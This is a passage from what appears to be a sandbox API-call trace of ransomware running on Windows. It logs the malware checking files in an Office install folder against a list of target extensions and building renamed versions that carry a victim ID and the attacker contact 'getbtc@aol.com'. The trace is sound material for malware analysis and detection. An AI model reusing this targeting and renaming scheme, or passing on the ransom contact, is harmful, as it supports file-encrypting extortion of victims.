lpString2=".EXE") returned -1 [0265.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.865] lstrlenW (lpString=".1cd") returned 4 [0265.865] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0265.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE") returned 53 [0265.865] lstrlenW (lpString=".jpg") returned 4 [0265.865] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0265.865] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.865] lstrlenW (lpString="GROOVEEX.DLL") returned 12 [0265.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.865] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=6722448) returned 1 [0265.865] CloseHandle (hObject=0x360) returned 1 [0265.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll")) returned 0x20 [0265.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0265.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.866] lstrlenW (lpString=".doc") returned 4 [0265.866] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.866] lstrlenW (lpString=".docx") returned 5 [0265.866] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0265.866] lstrlenW (lpString=".pdf") returned 4 [0265.866] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.866] lstrlenW (lpString=".xls") returned 4 [0265.866] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.866] lstrlenW (lpString=".xlsx") returned 5 [0265.866] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0265.866] lstrlenW (lpString=".ppt") returned 4 [0265.866] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.866] lstrlenW (lpString=".zip") returned 4 [0265.866] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.866] lstrlenW (lpString=".rar") returned 4 [0265.866] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.866] lstrlenW (lpString=".bz2") returned 4 [0265.866] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.866] lstrlenW (lpString=".7z") returned 3 [0265.866] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString=".dbf") returned 4 [0265.867] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString=".1cd") returned 4 [0265.867] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString=".jpg") returned 4 [0265.867] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString=".doc") returned 4 [0265.867] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.867] lstrlenW (lpString=".docx") returned 5 [0265.867] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0265.867] lstrlenW (lpString=".pdf") returned 4 [0265.867] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.867] lstrlenW (lpString=".xls") returned 4 [0265.867] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.867] lstrlenW (lpString=".xlsx") returned 5 [0265.867] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0265.867] lstrlenW (lpString=".ppt") returned 4 [0265.867] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString=".zip") returned 4 [0265.867] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.867] lstrlenW (lpString=".rar") returned 4 [0265.867] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.867] lstrlenW (lpString=".bz2") returned 4 [0265.867] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.867] lstrlenW (lpString=".7z") returned 3 [0265.867] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString=".dbf") returned 4 [0265.867] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.867] lstrlenW (lpString=".1cd") returned 4 [0265.867] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL") returned 55 [0265.868] lstrlenW (lpString=".jpg") returned 4 [0265.868] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.868] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0265.868] lstrlenW (lpString="GROOVEMN.EXE") returned 12 [0265.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.868] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1371528) returned 1 [0265.868] CloseHandle (hObject=0x360) returned 1 [0265.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe")) returned 0x20 [0265.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groovemn.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.869] lstrlenW (lpString=".doc") returned 4 [0265.869] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0265.869] lstrlenW (lpString=".docx") returned 5 [0265.869] lstrcmpiW (lpString1=".docx", lpString2="N.EXE") returned -1 [0265.869] lstrlenW (lpString=".pdf") returned 4 [0265.869] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0265.869] lstrlenW (lpString=".xls") returned 4 [0265.869] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0265.869] lstrlenW (lpString=".xlsx") returned 5 [0265.869] lstrcmpiW (lpString1=".xlsx", lpString2="N.EXE") returned -1 [0265.869] lstrlenW (lpString=".ppt") returned 4 [0265.869] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.869] lstrlenW (lpString=".zip") returned 4 [0265.869] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0265.869] lstrlenW (lpString=".rar") returned 4 [0265.869] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0265.869] lstrlenW (lpString=".bz2") returned 4 [0265.869] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0265.869] lstrlenW (lpString=".7z") returned 3 [0265.869] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.869] lstrlenW (lpString=".dbf") returned 4 [0265.869] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.869] lstrlenW (lpString=".1cd") returned 4 [0265.869] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.869] lstrlenW (lpString=".jpg") returned 4 [0265.869] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.870] lstrlenW (lpString=".doc") returned 4 [0265.870] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0265.870] lstrlenW (lpString=".docx") returned 5 [0265.870] lstrcmpiW (lpString1=".docx", lpString2="N.EXE") returned -1 [0265.870] lstrlenW (lpString=".pdf") returned 4 [0265.870] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0265.870] lstrlenW (lpString=".xls") returned 4 [0265.870] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0265.870] lstrlenW (lpString=".xlsx") returned 5 [0265.870] lstrcmpiW (lpString1=".xlsx", lpString2="N.EXE") returned -1 [0265.870] lstrlenW (lpString=".ppt") returned 4 [0265.870] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0265.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.870] lstrlenW (lpString=".zip") returned 4 [0265.870] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0265.870] lstrlenW (lpString=".rar") returned 4 [0265.870] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0265.870] lstrlenW (lpString=".bz2") returned 4 [0265.870] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0265.870] lstrlenW (lpString=".7z") returned 3 [0265.870] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0265.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.870] lstrlenW (lpString=".dbf") returned 4 [0265.870] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0265.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.870] lstrlenW (lpString=".1cd") returned 4 [0265.870] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0265.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GROOVEMN.EXE") returned 55 [0265.870] lstrlenW (lpString=".jpg") returned 4 [0265.870] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0265.870] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.870] lstrlenW (lpString="HVAC.DLL") returned 8 [0265.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.884] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=596840) returned 1 [0265.884] CloseHandle (hObject=0x390) returned 1 [0265.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll")) returned 0x20 [0265.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\hvac.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.885] lstrlenW (lpString=".doc") returned 4 [0265.885] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.885] lstrlenW (lpString=".docx") returned 5 [0265.885] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0265.885] lstrlenW (lpString=".pdf") returned 4 [0265.885] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.885] lstrlenW (lpString=".xls") returned 4 [0265.885] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.885] lstrlenW (lpString=".xlsx") returned 5 [0265.885] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0265.885] lstrlenW (lpString=".ppt") returned 4 [0265.885] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.885] lstrlenW (lpString=".zip") returned 4 [0265.885] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.885] lstrlenW (lpString=".rar") returned 4 [0265.885] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.885] lstrlenW (lpString=".bz2") returned 4 [0265.885] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.885] lstrlenW (lpString=".7z") returned 3 [0265.885] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.885] lstrlenW (lpString=".dbf") returned 4 [0265.885] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.885] lstrlenW (lpString=".1cd") returned 4 [0265.886] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.886] lstrlenW (lpString=".jpg") returned 4 [0265.886] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.886] lstrlenW (lpString=".doc") returned 4 [0265.886] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.886] lstrlenW (lpString=".docx") returned 5 [0265.886] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0265.886] lstrlenW (lpString=".pdf") returned 4 [0265.886] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.886] lstrlenW (lpString=".xls") returned 4 [0265.886] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.886] lstrlenW (lpString=".xlsx") returned 5 [0265.886] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0265.886] lstrlenW (lpString=".ppt") returned 4 [0265.886] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.886] lstrlenW (lpString=".zip") returned 4 [0265.886] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.886] lstrlenW (lpString=".rar") returned 4 [0265.886] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.886] lstrlenW (lpString=".bz2") returned 4 [0265.886] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.886] lstrlenW (lpString=".7z") returned 3 [0265.886] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.886] lstrlenW (lpString=".dbf") returned 4 [0265.886] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.886] lstrlenW (lpString=".1cd") returned 4 [0265.886] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\HVAC.DLL") returned 51 [0265.886] lstrlenW (lpString=".jpg") returned 4 [0265.886] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.887] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.887] lstrlenW (lpString="IEAWSDC.DLL") returned 11 [0265.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.887] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=242528) returned 1 [0265.887] CloseHandle (hObject=0x390) returned 1 [0265.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll")) returned 0x20 [0265.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.889] lstrlenW (lpString=".doc") returned 4 [0265.889] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.889] lstrlenW (lpString=".docx") returned 5 [0265.889] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0265.889] lstrlenW (lpString=".pdf") returned 4 [0265.890] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString=".xls") returned 4 [0265.890] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString=".xlsx") returned 5 [0265.890] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0265.890] lstrlenW (lpString=".ppt") returned 4 [0265.890] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.890] lstrlenW (lpString=".zip") returned 4 [0265.890] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString=".rar") returned 4 [0265.890] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString=".bz2") returned 4 [0265.890] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.890] lstrlenW (lpString=".7z") returned 3 [0265.890] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.890] lstrlenW (lpString=".dbf") returned 4 [0265.890] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.890] lstrlenW (lpString=".1cd") returned 4 [0265.890] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.890] lstrlenW (lpString=".jpg") returned 4 [0265.890] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.890] lstrlenW (lpString=".doc") returned 4 [0265.890] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString=".docx") returned 5 [0265.890] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0265.890] lstrlenW (lpString=".pdf") returned 4 [0265.890] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.890] lstrlenW (lpString=".xls") returned 4 [0265.890] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.891] lstrlenW (lpString=".xlsx") returned 5 [0265.891] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0265.891] lstrlenW (lpString=".ppt") returned 4 [0265.891] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.891] lstrlenW (lpString=".zip") returned 4 [0265.891] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.891] lstrlenW (lpString=".rar") returned 4 [0265.891] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.891] lstrlenW (lpString=".bz2") returned 4 [0265.891] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.891] lstrlenW (lpString=".7z") returned 3 [0265.891] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.891] lstrlenW (lpString=".dbf") returned 4 [0265.891] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.891] lstrlenW (lpString=".1cd") returned 4 [0265.891] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL") returned 54 [0265.891] lstrlenW (lpString=".jpg") returned 4 [0265.891] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.891] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0265.891] lstrlenW (lpString="IEContentService.exe") returned 20 [0265.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\office14\\iecontentservice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.892] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=725928) returned 1 [0265.892] CloseHandle (hObject=0x390) returned 1 [0265.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\office14\\iecontentservice.exe")) returned 0x20 [0265.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\iecontentservice.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\office14\\iecontentservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe") returned 63 [0265.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe") returned 63 [0265.893] lstrlenW (lpString=".doc") returned 4 [0265.893] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0265.893] lstrlenW (lpString=".docx") returned 5 [0265.893] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0265.893] lstrlenW (lpString=".pdf") returned 4 [0265.893] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0265.893] lstrlenW (lpString=".xls") returned 4 [0265.893] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0265.893] lstrlenW (lpString=".xlsx") returned 5 [0265.893] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0265.893] lstrlenW (lpString=".ppt") returned 4 [0265.893] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0265.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe") returned 63 [0265.893] lstrlenW (lpString=".zip") returned 4 [0265.893] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0265.893] lstrlenW (lpString=".rar") returned 4 [0265.893] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0265.893] lstrlenW (lpString=".bz2") returned 4 [0265.893] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0265.893] lstrlenW (lpString=".7z") returned 3 [0265.893] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0265.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IEContentService.exe") returned 63 [0265.893] lstrlenW (lpString=".dbf") returned 4 [0265.893] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0265.893] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.895] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=680336) returned 1 [0265.895] CloseHandle (hObject=0x390) returned 1 [0265.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL" (normalized: "c:\\program files\\microsoft 